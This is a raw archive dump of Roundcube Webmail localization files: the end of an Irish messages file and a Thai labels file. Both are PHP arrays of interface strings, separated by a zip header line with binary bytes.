$messages['contactnotfound'] = 'Níor aimsíodh an teagmhálaí atá á lorg agat.';
$messages['sendingfailed'] = 'Theip ar sheoladh na teachtaireachta.';
$messages['senttooquickly'] = 'Fan $sec soic(indí) sula sheolann tú an teachtaireacht seo.';
$messages['errorsavingsent'] = 'Tharla botún fad is a bhí an teachteachtaireacht a sheoladh á cur i dtaisce.';
$messages['errorsaving'] = 'Tharla botún fad is a bhí sí á cur i dtaisce.';
$messages['errormoving'] = 'Níorbh fhéidir na teachtaireachtaí a bhogadh.';
$messages['errorcopying'] = 'Níorbh fhéidir na teachtaireachtaí a mhacasamhlú.';
$messages['errordeleting'] = 'Níorbh fhéidir na teachtaireachtaí a scriosadh.';
$messages['errormarking'] = 'Níorbh fhéidir rian a chur ar na teachtaireachtaí';
$messages['alerttitle'] = 'Aire';
$messages['confirmationtitle'] = 'An bhfuil tú cinnte...';
$messages['deletecontactconfirm']  = 'An bhfuil tú cinnte gur mian leat an daoine roghnaithe a scriosadh?';
$messages['deletegroupconfirm']  = 'An bhfuil tú cinnte gur mian leat an bhaicle roghnaithe a scriosadh?';
$messages['deletemessagesconfirm'] = 'An bhfuil tú cinnte gur mian leat na teachtaireachtaí roghnaithe a scriosadh?';
$messages['deletefolderconfirm']  = 'An bhfuil tú cinnte gur mian leat an fillteán seo a scriosadh?';
$messages['movefolderconfirm']  = 'An mian leat dáiríre an fillteán sin a bhogadh?';
$messages['purgefolderconfirm']  = 'Ar bhfuil tú cinnte gur mian leat gach teachtaireacht sa bhfillteán seo a scriosadh?';
$messages['contactdeleting'] = 'Ag scriosadh na teagmhálacha...';
$messages['groupdeleting'] = 'Ag scriosadh na baicle...';
$messages['folderdeleting'] = 'Ag scriosadh an fhillteáin...';
$messages['foldermoving'] = 'Ag bogadh an fhillteáin...';
$messages['foldersubscribing'] = 'Ag cur síntiús leis an bhfillteán...';
$messages['folderunsubscribing'] = 'Ag baint síntiús den bhfillteán...';
$messages['formincomplete'] = 'Níor líon tú an fhoirm go hiomlán.';
$messages['noemailwarning'] = 'Cuir isteach seoladh ríomhphoist bailí le do thoil.';
$messages['nonamewarning']  = 'Cuir isteach ainm le do thoil.';
$messages['nopagesizewarning'] = 'Cuir isteach méid leathanaigh le do thoil.';
$messages['nosenderwarning'] = 'Cuir isteach seoladh ríomhphoist an tseoltóra.';
$messages['recipientsadded'] = 'Cuireadh faighteoir(í) go rathúil leis.';
$messages['norecipientwarning'] = 'Abair liom faighteoir amhain ar a laghad';
$messages['disclosedrecipwarning'] = 'Feicfidh gach faighteoir seoltaí ríomhphoist a chéile. Chun sin a sheachaint agus a bpríobháideachas a chosaint, is féidir feidhm a bhaint as an réimse Bcc.';
$messages['disclosedreciptitle'] = 'An iomarca faighteoirí poiblí';
$messages['nosubjectwarning']  = 'Níl aon ábhair ar an teachtaireacht, ba mhaith tú déarfaidh mé ábair?';
$messages['nosubjecttitle']  = 'Gan ábhar';
$messages['nobodywarning'] = 'Níl aon teacs san teachtaireacht, ba mhaith tú déarfaidh mé teachtaireacht ar bith?';
$messages['notsentwarning'] = 'Níor seoladh an teachtaireacht seo agus tá athruithe nach cuireadh i dtaisce inti. An mian leat do chuid athruithe a chuileáil?';
$messages['restoresavedcomposedata'] = 'Aimsíodh teachtaireacht a chumadh ach nár seoladh.\n\nÁbhar: $subject\nTaiscthe: $date\n\nAr mhaith leat an teachtaireacht seo a chur ar ais?';
$messages['nosearchname'] = 'Abair liom ainm duine nó seoladh ríomhphost';
$messages['notuploadedwarning'] = 'Níl gach ceangaltán uasluchtaithe fós. Fan le do thoil nó cealaigh an t-uasluchtú.';
$messages['searchsuccessful'] = 'Fuair mé $n teachtaireacht';
$messages['contactsearchsuccessful'] = 'Aimsíodh $nr dteagmhálaí.';
$messages['searchnomatch'] = 'Níor aimsigh an cuardach aon rud.';
$messages['searching'] = 'Ag cuardach...';
$messages['checking'] = 'Ag dearbháil...';
$messages['stillsearching'] = 'Fós ag cuardach...';
$messages['nospellerrors'] = 'Níor aimsíodh aon bhotún litrithe.';
$messages['folderdeleted'] = 'Scriosadh an fillteán.';
$messages['deletedsuccessfully'] = 'D\'éirigh mé, Scrios mé';
$messages['converting'] = 'Scrios mé formáidithe as an teachtaireacht seo';
$messages['messageopenerror'] = 'Níorbh fhéidir an teachtaireacht a luchtú ón bhfreastalaí.';
$messages['filelinkerror'] = 'Níor éirigh leis an gcomhad a cheangail.';
$messages['fileuploaderror'] = 'Theip ar uasluchtú an chomhaid.';
$messages['filesizeerror'] = 'Beigh an comhad ró-mhor. Is ea $size uas-saghas chun admháil léite';
$messages['filecounterror'] = 'Is féidir suas go dtí $count gcomhad a uasluchtú in aon dreas amháin.';
$messages['msgsizeerror'] = 'Theip air comhad a cheangail. Sáraíodh uasmhéid teachtaireachta ($size).';
$messages['copyerror'] = 'Níorbh fhéidir aon teagmháil a mhacasamhlú.';
$messages['moveerror'] = 'Níorbh fhéidir aon teagmháil a bhogadh...';
$messages['sourceisreadonly'] = 'Tá an foinse seolaigh seo inléite amháin';
$messages['errorsavingcontact'] = 'Theip mé, Níl an cumas agam an seolagh seo a sábháil';
$messages['movingmessage'] = 'Ag bogadh na teachtaireachtaí...';
$messages['copyingmessage'] = 'Ag macasamhlú na teachtaireachtaí...';
$messages['copyingcontact'] = 'Ag macasamhlú teagmhálach(a)...';
$messages['movingcontact'] = 'Ag bogadh teachtaireacht(aí)';
$messages['deletingmessage'] = 'Ag scriosadh teachtaireacht(aí)...';
$messages['markingmessage'] = 'Ag cur rian ar theachtaireacht(aí)...';
$messages['addingmember'] = 'Ag cur teagmhálacha leis an mbaicle...';
$messages['removingmember'] = 'Ag baint teagmhálaí (teagmhálaithe) ón mbaicle...';
$messages['receiptsent'] = 'Seoladh admháil léite go rathúil.';
$messages['errorsendingreceipt'] = 'Níorbh fhéidir an admháil a sheoladh.';
$messages['deleteidentityconfirm'] = 'An bhfuil tú cinnte gur mian leat an t-aitheantas seo a scriosadh?';
$messages['nodeletelastidentity'] = 'Ní féidir leat an t-aitheantas seo a scriosadh. Is é an ceann deireanach atá agat.';
$messages['forbiddencharacter'] = 'Tá carachtar neamhcheadaithe in ainm an fhillteáin.';
$messages['selectimportfile'] = 'Roghnaigh comhad le huasluchtú.';
$messages['addresswriterror'] = 'Ní féidir scríobh sa leabhar seoltaí roghnaithe.';
$messages['contactaddedtogroup'] = 'Cuireadh na teagmhálacha go rathúil leis an mbaicle seo.';
$messages['contactremovedfromgroup'] = 'Baineadh teagmhálaithe go rathúil on mbaicle.';
$messages['importwait'] = 'Á tabhairt isteach, fan le do thoil...';
$messages['importmessagesuccess'] = 'Tugadh $nr teachtaireacht isteach go rathúil';
$messages['importmessageerror'] = 'Theip ar an tabhairt isteach! Ní comhad teachtaireachta nó comhad bosca poist bailí é an comhad uasluchtaithe ';
$messages['opnotpermitted'] = 'Níl cead sin a dhéanamh!';
$messages['nofromaddress'] = 'Tá seoladh ríomhphoist ar iarraidh san aitheantas roghnaithe. ';
$messages['smtpconnerror'] = 'Botún SMTP ($code): Theip ar an nasc leis an bhfreastalaí.';
$messages['smtpautherror'] = 'Botún SMTP ($code): Theip ar an bhfíordheimhniú.';
$messages['smtperror'] = 'Botún SMTP: $msg';
$messages['emailformaterror'] = 'Seoladh ríomhphoist neamhbhailí: $email';
$messages['toomanyrecipients'] = 'Tá an iomarca faighteoirí ann. Laghdaigh líon na bhfaighteoir chuig $max.';
$messages['internalerror'] = 'Tharla botún inmheánach. Déan iarracht eile arís le do thoil.';
$messages['contactdelerror'] = 'Níorbh fhéidir na teagmhálaithe a scriosadh.';
$messages['contactdeleted'] = 'Scriosadh na teagmhálaithe go rathúil.';
$messages['contactrestoreerror'] = 'Níorbh fhéidir na teagmhálacha a scriosadh a chur ar ais.';
$messages['contactrestored'] = 'Cuireadh teagmhálaí(ithe) ar ais go rathúil.';
$messages['groupdeleted'] = 'Scriosadh an bhaicle.';
$messages['grouprenamed'] = 'Athainmníodh an bhaicle.';
$messages['groupcreated'] = 'Cruthaíodh an bhaicle.';
$messages['savedsearchdeleteerror'] = 'Níorbh fhéidir an cuardach atá i dtaisce a scriosadh.';
$messages['savedsearchcreateerror'] = 'Níorbh fhéidir cuardach i dtaisce a chruthú.';
$messages['messagedeleted'] = 'Scriosadh na teachtaireachtaí.';
$messages['messagemoved'] = 'Bogadh na teachtaireachtaí go rathúil.';
$messages['messagemovedtotrash'] = 'Bogadh na teachtaireachtaí go dtí Bruscar.';
$messages['messagecopied'] = 'Macasamhlaíodh na teachtaireachtaí.';
$messages['messagemarked'] = 'Cuireadh rian ar na teachtaireachtaí.';
$messages['namecannotbeempty'] = 'Ní féidir leis a bheith gan ainm.';
$messages['nametoolong'] = 'Tá an t-ainm rófhada.';
$messages['namedotforbidden'] = 'Ní féidir lanstád a bheith ag tús ainm an fhillteáin.';
$messages['folderupdated'] = 'Nuashonraíodh an fillteán.';
$messages['foldercreated'] = 'Cruthaíodh an fillteán.';
$messages['invalidimageformat'] = 'Ní formáid íomhá bailí í sin.';
$messages['mispellingsfound'] = 'Aimsíodh botúin litrithe san teachtaireacht.';
$messages['messagetoobig'] = 'Tá an teachtaireacht rómhór le gur féidir obair léi.';
$messages['noscriptwarning'] = 'Rabhadh: Tá Javascript de dhíth ar an gcóras ríomhphoist ghréasáin. Chun feidhm a bhaint as cumasaigh Javascript sna socruithe i líonléitheoir.';
$messages['messageissent'] = 'Seoladh an teachtaireacht seo cheana, ach níor cuireadh i dtaisce fós í. An mian leat í a chur i dtaisce?';
$messages['errnotfound'] = 'Níor Aimsíodh an Comhad';
$messages['errnotfoundexplain'] = 'Níor aimsíodh an acmhainn a lorgadh!';
$messages['errfailedrequest'] = 'Iarratas ar theip air';
$messages['errauthorizationfailed'] = 'Theip ar an bhfíordheimhniú';
$messages['errunauthorizedexplain'] = 'Níorbh fhéidir a fhíordheimhniú go bhfuil cead agat rochtain a fháil ar an seirbhís seo!';
$messages['errcontactserveradmin'] = 'Déan teagmháil le riarthóir d\'fhreastalaí.';
$messages['clicktoresumesession'] = 'Brúigh anseo chun leanúint ar aghaidh le do dhreas roimhe';
$messages['errcomposesession'] = 'Botún i gcum teachtaireacht';
$messages['clicktocompose'] = 'Brúigh anseo chun teachtaireacht nua a chumadh';
$messages['nosupporterror'] = 'Ní thacaíonn do líonléitheoir leis an ngné sin.';
$messages['siginserted'] = 'Cuireadh an síniú isteach go rathúil.';
$messages['responseinserted'] = 'Cuireadh an freagra isteach go rathúil.';
$messages['listempty'] = 'Tá an liosta folamh.';
$messages['listusebutton'] = 'Bain feidhm as an gcnaipe Cruthaigh chun taifead nua a chur leis.';
PK
h�\����s�s%program/localization/th_TH/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'ยินดีต้อนรับสู่ $product';
$labels['username'] = 'บัญชีผู้ใช้';
$labels['password'] = 'รหัสผ่าน';
$labels['server'] = 'เซิร์ฟเวอร์';
$labels['login'] = 'เข้าสู่ระบบ';
$labels['menu'] = 'เมนู';
$labels['logout'] = 'ออกจากระบบ';
$labels['mail'] = 'อีเมล์';
$labels['settings'] = 'ปรับแต่งค่าส่วนตัว';
$labels['addressbook'] = 'สมุดรายชื่อ';
$labels['inbox'] = 'กล่องขาเข้า';
$labels['drafts'] = 'กล่องจดหมายร่าง';
$labels['sent'] = 'กล่องขาออก';
$labels['trash'] = 'ถังขยะ';
$labels['junk'] = 'กล่องจดหมายขยะ';
$labels['show_real_foldernames'] = 'แสดงชื่อจริงสำหรับโฟลเดอร์พิเศษ';
$labels['subject'] = 'หัวจดหมาย';
$labels['from'] = 'ผู้ส่ง';
$labels['sender'] = 'ผู้ส่ง';
$labels['to'] = 'ผู้รับ';
$labels['cc'] = 'คัดลอก';
$labels['bcc'] = 'แอบสำเนาถึง';
$labels['replyto'] = 'ตอบกลับ';
$labels['followupto'] = 'ส่งต่อ';
$labels['date'] = 'วันที่';
$labels['size'] = 'ขนาด';
$labels['priority'] = 'ระดับความสำคัญ';
$labels['organization'] = 'องค์กร';
$labels['readstatus'] = 'สถานะการเปิดอ่าน';
$labels['listoptions'] = 'ตัวเลือกการแสดงรายการ';
$labels['listoptionstitle'] = 'รายการตั้งค่า';
$labels['mailboxlist'] = 'กล่องจดหมาย';
$labels['messagesfromto'] = 'จดหมายจาก $from ถึง $to จำนวน $count ฉบับ';
$labels['messagenrof'] = 'จดหมายฉบับที่ $nr จาก $count ฉบับ';
$labels['copy'] = 'คัดลอก';
$labels['move'] = 'ย้าย';
$labels['moveto'] = 'ย้ายไป...';
$labels['copyto'] = 'คัดลอกไป...';
$labels['download'] = 'ดาวน์โหลด';
$labels['open'] = 'เปิด';
$labels['showattachment'] = 'แสดง';
$labels['showanyway'] = 'แสดงตลอด';
$labels['filename'] = 'ชื่อไฟล์';
$labels['filesize'] = 'ขนาดไฟล์';
$labels['addtoaddressbook'] = 'บันทึกในสมุดรายชื่อ';
$labels['sun'] = 'อา';
$labels['mon'] = 'จ';
$labels['tue'] = 'อ';
$labels['wed'] = 'พ';
$labels['thu'] = 'พฤ';
$labels['fri'] = 'ศ';
$labels['sat'] = 'ส';
$labels['sunday'] = 'วันอาทิตย์';
$labels['monday'] = 'วันจันทร์';
$labels['tuesday'] = 'วันอังคาร';
$labels['wednesday'] = 'วันพุธ';
$labels['thursday'] = 'วันพฤหัสบดี';
$labels['friday'] = 'วันศุกร์';
$labels['saturday'] = 'วันเสาร์';
$labels['jan'] = 'ม.ค.';
$labels['feb'] = 'ก.พ.';
$labels['mar'] = 'มี.ค.';
$labels['apr'] = 'เม.ย.';
$labels['may'] = 'พ.ค.';
$labels['jun'] = 'มิ.ย.';
$labels['jul'] = 'ก.ค.';
$labels['aug'] = 'ส.ค.';
$labels['sep'] = 'ก.ย.';
$labels['oct'] = 'ต.ค.';
$labels['nov'] = 'พ.ย.';
$labels['dec'] = 'ธ.ค.';
$labels['longjan'] = 'มกราคม';
$labels['longfeb'] = 'กุมภาพันธ์';
$labels['longmar'] = 'มีนาคม';
$labels['longapr'] = 'เมษายน';
$labels['longmay'] = 'พฤษภาคม';
$labels['longjun'] = 'มิถุนายน';
$labels['longjul'] = 'กรกฎาคม';
$labels['longaug'] = 'สิงหาคม';
$labels['longsep'] = 'กันยายน';
$labels['longoct'] = 'ตุลาคม';
$labels['longnov'] = 'พฤศจิกายน';
$labels['longdec'] = 'ธันวาคม';
$labels['today'] = 'วันนี้';
$labels['refresh'] = 'รีเฟรช';
$labels['checkmail'] = 'ตรวจสอบจดหมายใหม่';
$labels['compose'] = 'เขียนจดหมายใหม่';
$labels['writenewmessage'] = 'สร้างจดหมายใหม่';
$labels['reply'] = 'ตอบกลับ';
$labels['replytomessage'] = 'ตอบกลับจดหมาย';
$labels['replytoallmessage'] = 'ตอบกลับถึงทุกคนในจดหมาย';
$labels['replyall'] = 'ตอบกลับทั้งหมด';
$labels['replylist'] = 'รายชื่อตอบกลับ';
$labels['forward'] = 'ส่งต่อ';
$labels['forwardinline'] = 'ส่งต่อในบรรทัด';
$labels['forwardattachment'] = 'ส่งต่อเป็นไฟล์แนบ';
$labels['forwardmessage'] = 'ส่งต่อจดหมาย';
$labels['bouncemsg'] = 'ส่งอีกครั้ง (ตีกลับ)';
$labels['bounce'] = 'ส่งอีกครั้ง';
$labels['deletemessage'] = 'ลบจดหมาย';
$labels['movemessagetotrash'] = 'ย้ายข้อความไปไว้ในถังขยะ';
$labels['printmessage'] = 'พิมพ์จดหมาย';
$labels['previousmessage'] = 'แสดงจดหมายฉบับที่แล้ว';
$labels['firstmessage'] = 'แสดงจดหมายฉบับแรก';
$labels['nextmessage'] = 'แสดงจดหมายฉบับต่อไป';
$labels['lastmessage'] = 'แสดงจดหมายฉบับล่าสุด';
$labels['backtolist'] = 'กลับไปยังรายการจดหมาย';
$labels['viewsource'] = 'แสดง source';
$labels['mark'] = 'ทำเครื่องหมาย';
$labels['markmessages'] = 'ทำเครื่องหมายข้อความ';
$labels['markread'] = 'ว่าอ่านแล้ว';
$labels['markunread'] = 'ว่ายังไม่ได้อ่าน';
$labels['markflagged'] = 'ถูกตั้งค่าสถานะ';
$labels['markunflagged'] = 'ไม่ถูกตั้งค่าสถานะ';
$labels['moreactions'] = 'การกระทำเพิ่มเติม...';
$labels['markallread'] = 'ทำว่าอ่านแล้ว';
$labels['folders-cur'] = 'เลือกเฉพาะโฟเดอร์';
$labels['folders-sub'] = 'เลือกโฟเดอร์และโฟเดอร์ย่อย';
$labels['folders-all'] = 'ทุกโฟเดอร์';
$labels['more'] = 'เพิ่มเติม';
$labels['back'] = 'ย้อนกลับ';
$labels['options'] = 'ตัวเลือก';
$labels['first'] = 'แรก';
$labels['last'] = 'ล่าสุด';
$labels['previous'] = 'ก่อนหน้า';
$labels['next'] = 'ถัดไป';
$labels['select'] = 'เลือก';
$labels['all'] = 'ทั้งหมด';
$labels['none'] = 'ไม่เลือก';
$labels['currpage'] = 'หน้าปัจจุบัน';
$labels['isread'] = 'อ่าน';
$labels['unread'] = 'จดหมายที่ไม่ได้อ่าน';
$labels['flagged'] = 'ปักธง';
$labels['unflagged'] = 'ไม่ปักธง';
$labels['unanswered'] = 'ยังไม่ได้ตอบ';
$labels['withattachment'] = 'พร้อมแนบ';
$labels['deleted'] = 'ลบแล้ว';
$labels['undeleted'] = 'ยังไม่ได้ลบ';
$labels['replied'] = 'ตอบกลับ';
$labels['forwarded'] = 'ส่งต่อแล้ว';
$labels['invert'] = 'กลับกัน';
$labels['filter'] = 'ตัวกรองข้อมูล';
$labels['list'] = 'รายการ';
$labels['threads'] = 'หัวข้อ';
$labels['expand-all'] = 'แสดงทั้งหมด';
$labels['expand-unread'] = 'แสดงเฉพาะที่ยังไม่ได้อ่าน';
$labels['collapse-all'] = 'ปิดทั้งหมด';
$labels['autoexpand_threads'] = 'ขยายเธรดข้อความ';
$labels['do_expand'] = 'หัวข้อทั้งหมด';
$labels['expand_only_unread'] = 'เฉพาะกับข้อความที่ยังไม่ได้อ่าน';
$labels['fromto'] = 'จาก/ถึง';
$labels['flag'] = 'ปักธง';
$labels['attachment'] = 'ไฟล์แนบ';
$labels['nonesort'] = 'ไม่เลือก';
$labels['sentdate'] = 'วันที่ส่ง';
$labels['arrival'] = 'วันที่มาถึง';
$labels['asc'] = 'เรียงจากน้อยมามาก';
$labels['desc'] = 'เรีียงจากมากไปน้อย';
$labels['listcolumns'] = 'แสดงคอลัมน์';
$labels['listsorting'] = 'จัดเรียงคอลัมน์';
$labels['listorder'] = 'เรียงลำดับ';
$labels['listmode'] = 'โหมดดูรายการ';
$labels['layout'] = 'แบบ';
$labels['layoutwidescreen'] = 'Widescreen';
$labels['layoutdesktop'] = 'เดสก์ทอป';
$labels['layoutlist'] = 'รายการ';
$labels['layoutwidescreendesc'] = 'Widescreen (3-column view)';
$labels['layoutdesktopdesc'] = 'เดสก์ท็อป (รายการแบบกว้าง ๆ และตัวอย่างอีเมลด้านล่าง)';
$labels['layoutlistdesc'] = 'รายการ (ไม่มีตัวอย่างจดหมาย)';
$labels['folderactions'] = 'การทำงานของโฟลเดอร์ ...';
$labels['compact'] = 'แบบย่อ';
$labels['empty'] = 'ว่างเปล่า';
$labels['importmessages'] = 'นำเข้าข้อความ';
$labels['quota'] = 'พื้นที่ใช้งาน';
$labels['unknown'] = 'ไม่ทราบ';
$labels['unlimited'] = 'ไม่จำกัด';
$labels['quotatype'] = 'ประเภทโควต้า';
$labels['quotatotal'] = 'จำกัด';
$labels['quotaused'] = 'ใช้';
$labels['quotastorage'] = 'พื้นที่ว่าง';
$labels['quotamessage'] = 'จำนวนข้อความ';
$labels['quicksearch'] = 'ค้นหาแบบด่วน';
$labels['searchplaceholder'] = 'ค้นหา...';
$labels['resetsearch'] = 'ล้างการค้นหา';
$labels['searchmod'] = 'แก้ไขการค้นหา';
$labels['msgtext'] = 'ทั้งข้อความ';
$labels['body'] = 'เนื้อหา';
$labels['type'] = 'ชนิด';
$labels['namex'] = 'ชื่อ';
$labels['searchscope'] = 'ขอบเขต';
$labels['currentfolder'] = 'โฟลเดอร์ปัจจุบัน';
$labels['subfolders'] = 'โฟลเดอร์นี้และโฟลเดอร์ย่อย';
$labels['allfolders'] = 'ทุกโฟลเดอร์';
$labels['searchinterval-1W'] = 'เก่ากว่าหนึ่งสัปดาห์';
$labels['searchinterval-1M'] = 'เก่ากว่าหนึ่งเดือน';
$labels['searchinterval-1Y'] = 'เก่ากว่าหนึ่งปี';
$labels['searchinterval1W'] = 'น้อยกว่าหนึ่งสัปดาห์';
$labels['searchinterval1M'] = 'น้อยกว่าหนึ่งเดือน';
$labels['searchinterval1Y'] = 'น้อยกว่าหนึ่งปี';
$labels['openinextwin'] = 'เปิดไปหน้าต่างใหม่';
$labels['emlsave'] = 'ดาวน์โหลด (.eml)';
$labels['changeformattext'] = 'แสดงแบบข้อความธรรมดา';
$labels['changeformathtml'] = 'แสดงแบบ HTML';
$labels['editasnew'] = 'แก้ไขใหม่';
$labels['send'] = 'ส่ง';
$labels['sendmessage'] = 'ส่งจดหมาย';
$labels['savemessage'] = 'บันทึกฉบับร่าง';
$labels['addattachment'] = 'แนบไฟล์';
$labels['charset'] = 'Charset';
$labels['editortype'] = 'ประเภทตัวแก้ไข';
$labels['returnreceipt'] = 'ตอบกลับผู้รับ';
$labels['dsn'] = 'การแจ้งเตือนสถานะการจัดส่ง';
$labels['mailreplyintro'] = 'On $date, $sender wrote:';
$labels['originalmessage'] = 'ข้อความเดิม';
$labels['selectimage'] = 'เลือกรูป';
$labels['addimage'] = 'เพิ่มรูป';
$labels['selectmedia'] = 'เลือกวีดีโอ';
$labels['addmedia'] = 'เพิ่มวีดีโอ';
$labels['encrypt'] = 'เข้ารหัส';
$labels['encryptmessage'] = 'เข้ารหัสข้อความ';
$labels['encryptmessagemailvelope'] = 'เข้ารหัสข้อความด้วย Mailvelope';
$labels['importpubkeys'] = 'นำเข้าคีย์สาธารณะ';
$labels['encryptedsendialog'] = 'กำลังส่งข้อความที่เข้ารหัส';
$labels['keyid'] = 'คีย์ไอดี';
$labels['keylength'] = 'บิต';
$labels['keyexpired'] = 'หมดอายุ';
$labels['keyrevoked'] = 'ยกเลิก';
$labels['bccinstead'] = 'ใช้สำเนาลับ';
$labels['insert'] = 'แทรก';
$labels['recipient'] = 'ผู้รับ';
$labels['editidents'] = 'แก้ไขข้อมูลประจำตัว';
$labels['spellcheck'] = 'สะกด';
$labels['checkspelling'] = 'ตรวจสอบคำผิด';
$labels['resumeediting'] = 'แก้ไขต่อ';
$labels['revertto'] = 'ย้นกลับไปยัง';
$labels['restore'] = 'กู้คืน';
$labels['restoremessage'] = 'กู้คืนข้อความ?';
$labels['ignore'] = 'ไม่สนใจ';
$labels['responses'] = 'การตอบกลับ';
$labels['insertresponse'] = 'แทรกการตอบกลับ';
$labels['manageresponses'] = 'จัดการตอบกลับ';
$labels['newresponse'] = 'สร้างการตอบกลับใหม่';
$labels['addresponse'] = 'เพิ่มการตอบกลับ';
$labels['editresponse'] = 'แก้ไขการตอบกลับ';
$labels['editresponses'] = 'แก้ไขการตอบกลับ';
$labels['responsename'] = 'ชื่อ';
$labels['responsetext'] = 'ข้อความตอบกลับ';
$labels['attach'] = 'ไฟลแนบ';
$labels['attachments'] = 'ไฟล์แนบ';
$labels['upload'] = 'อัพโหลด';
$labels['uploadprogress'] = '$percent ($current of $total)';
$labels['close'] = 'ปิด';
$labels['messageoptions'] = 'ตั้งค่าข้อความ...';
$labels['togglecomposeoptions'] = 'สลับตัวเลือกองค์ประกอบ';
$labels['attachmentrename'] = 'เปลี่ยนชื่อไฟล์แนบ';
$labels['low'] = 'ต่ำ';
$labels['lowest'] = 'ต่ำสุด';
$labels['normal'] = 'ปกติ';
$labels['high'] = 'สูง';
$labels['highest'] = 'สูงสุด';
$labels['nosubject'] = '(ไม่มีหัวข้อ)';
$labels['showimages'] = 'แสดงรูป';
$labels['alwaysshow'] = 'โชว์รูปจาก $sender เสมอ';
$labels['isdraft'] = 'นี้คือจดหมายร่าง';
$labels['andnmore'] = '$nr อื่น...';
$labels['togglemoreheaders'] = 'โชว์หัวจดหมายเพิ่มเติม';
$labels['togglefullheaders'] = 'Toggle raw message headers';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Plain text';
$labels['savesentmessagein'] = 'บันทึกจดหมายขาออกที่';
$labels['dontsave'] = 'ไม่บันทึก';
$labels['maxuploadsize'] = 'ขนาดไฟล์สูงสุดที่อนุญาตคือ $size';
$labels['addcc'] = 'เพิ่ม สำเนาถึง';
$labels['addbcc'] = 'เพิ่มสำเนาลับ';
$labels['addreplyto'] = 'เพิ่ม ตอบกลับ ถึง';
$labels['addfollowupto'] = 'เพิ่ม ส่งต่อ ถึง';
$labels['mdnrequest'] = 'ผู้ส่งข้อความนี้ได้ขอให้คุณได้รับแจ้งเมื่อคุณอ่านข้อความนี้ คุณต้องการแจ้งผู้ส่งหรือไม่?';
$labels['receiptread'] = 'ยืนยันการอ่าน';
$labels['yourmessage'] = 'นี่คือการตอบรับการอ่าน สำหรับข้อความของคุณ';
$labels['receiptnote'] = 'หมายเหตุ: ข้อความของคุณถูกเปิดอ่าน ไม่มีการรับประกันว่าผู้รับได้อ่านหรือเข้าใจเนื้อหาของข้อความแล้ว';
$labels['name'] = 'ชื่อแสดง';
$labels['firstname'] = 'ชื่อ';
$labels['surname'] = 'สกุล';
$labels['middlename'] = 'ชื่อกลาง';
$labels['nameprefix'] = 'คำนำหน้า';
$labels['namesuffix'] = 'คำต่อท้ายชื่อ';
$labels['nickname'] = 'ชื่อเล่น';
$labels['jobtitle'] = 'ตำแหน่งงาน';
$labels['department'] = 'แผนก';
$labels['gender'] = 'เพศ';
$labels['maidenname'] = 'นามสกุลเดิม';
$labels['email'] = 'อีเมล์';
$labels['phone'] = 'โทรศัพท์';
$labels['address'] = 'ที่อยู่';
$labels['street'] = 'ถนน';
$labels['locality'] = 'เมือง';
$labels['zipcode'] = 'รหัสไปรษณีย์';
$labels['region'] = 'รัฐ/จังหวัด';
$labels['country'] = 'ประเทศ';
$labels['birthday'] = 'วันเกิด';
$labels['anniversary'] = 'ครบรอบ';
$labels['website'] = 'เว็บไซต์';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'หมายเหตุ';
$labels['male'] = 'ชาย';
$labels['female'] = 'หญิง';
$labels['manager'] = 'ผู้จัดการ';
$labels['assistant'] = 'ผู้ช่วย';
$labels['spouse'] = 'คู่สมรส';
$labels['allfields'] = 'ช่องข้อมูลทั้่งหมด';
$labels['search'] = 'ค้นหา';
$labels['searchresult'] = 'ผลการค้นหา';
$labels['advsearch'] = 'ค้นหาขั้นสูง';
$labels['advanced'] = 'ขั้นสูง';
$labels['other'] = 'อื่นๆ';
$labels['printcontact'] = 'พิมพ์รายชื่อติดต่อ';
$labels['qrcode'] = 'QR Code';
$labels['typehome'] = 'บ้าน';
$labels['typework'] = 'สถานที่ทำงาน';
$labels['typeother'] = 'อื่นๆ';
$labels['typemobile'] = 'มือถือ';
$labels['typemain'] = 'หลัก';
$labels['typehomefax'] = 'โทรสารที่บ้าน';
$labels['typeworkfax'] = 'โทรสารที่ทำงาน';
$labels['typecar'] = 'รถ';
$labels['typepager'] = 'เพจเจอร์';
$labels['typevideo'] = 'วีดีโอ';
$labels['typeassistant'] = 'ผู้ช่วย';
$labels['typehomepage'] = 'โฮมเพจ';
$labels['typeblog'] = 'บล็อก';
$labels['typeprofile'] = 'โปรไฟล์';
$labels['addfield'] = 'เพิ่มช่องข้อมูล...';
$labels['addcontact'] = 'เพิ่มผู้ติดต่อ';
$labels['editcontact'] = 'แก้ไขรายชื่อ';
$labels['contacts'] = 'ผู้ติดต่อ';
$labels['contactproperties'] = 'คุณสมบัติการติดต่อ';
$labels['contactnameandorg'] = 'ชื่อและองค์กร';
$labels['personalinfo'] = 'ข้อมูลส่วนบุคคล';
$labels['contactphoto'] = 'รูปผู้ติดต่อ';
$labels['edit'] = 'แก้ไข';
$labels['cancel'] = 'ยกเลิก';
$labels['save'] = 'บันทึก';
$labels['delete'] = 'ลบ';
$labels['rename'] = 'เปลี่ยนชื่อ';
$labels['addphoto'] = 'เพิ่ม';
$labels['replacephoto'] = 'แทนที่';
$labels['uploadphoto'] = 'อัพโหลดรูป';
$labels['newcontact'] = 'สร้างผู้ติดต่อใหม่';
$labels['deletecontact'] = 'ลบรายชื่อที่เลือก';
$labels['composeto'] = 'เขียนจดหมายถึง';
$labels['contactsfromto'] = 'รายชื่อ $from ถึง $to จำนวน $count';
$labels['print'] = 'พิมพ์';
$labels['export'] = 'ส่งออก';
$labels['exportall'] = 'ส่งออกทั้งหมด';
$labels['exportsel'] = 'ส่งออกเฉพาะที่เลือก';
$labels['exportvcards'] = 'นำออกรายชื่อผู้ติดต่อ (vCard)';
$labels['newgroup'] = 'สร้างกลุ่มใหม่';
$labels['addgroup'] = 'เพิ่มกลุ่ม';
$labels['grouprename'] = 'เปลี่ยนชื่อกลุ่ม';
$labels['groupdelete'] = 'ลบกลุ่ม';
$labels['groupremoveselected'] = 'ลบรายชื่อผู้ติดต่อที่เลือกจากกลุ่ม';
$labels['uponelevel'] = 'ขยับขึ้นหนึ่งระดับ';
$labels['previouspage'] = 'หน้าที่แล้ว';
$labels['firstpage'] = 'แสดงหน้าแรก';
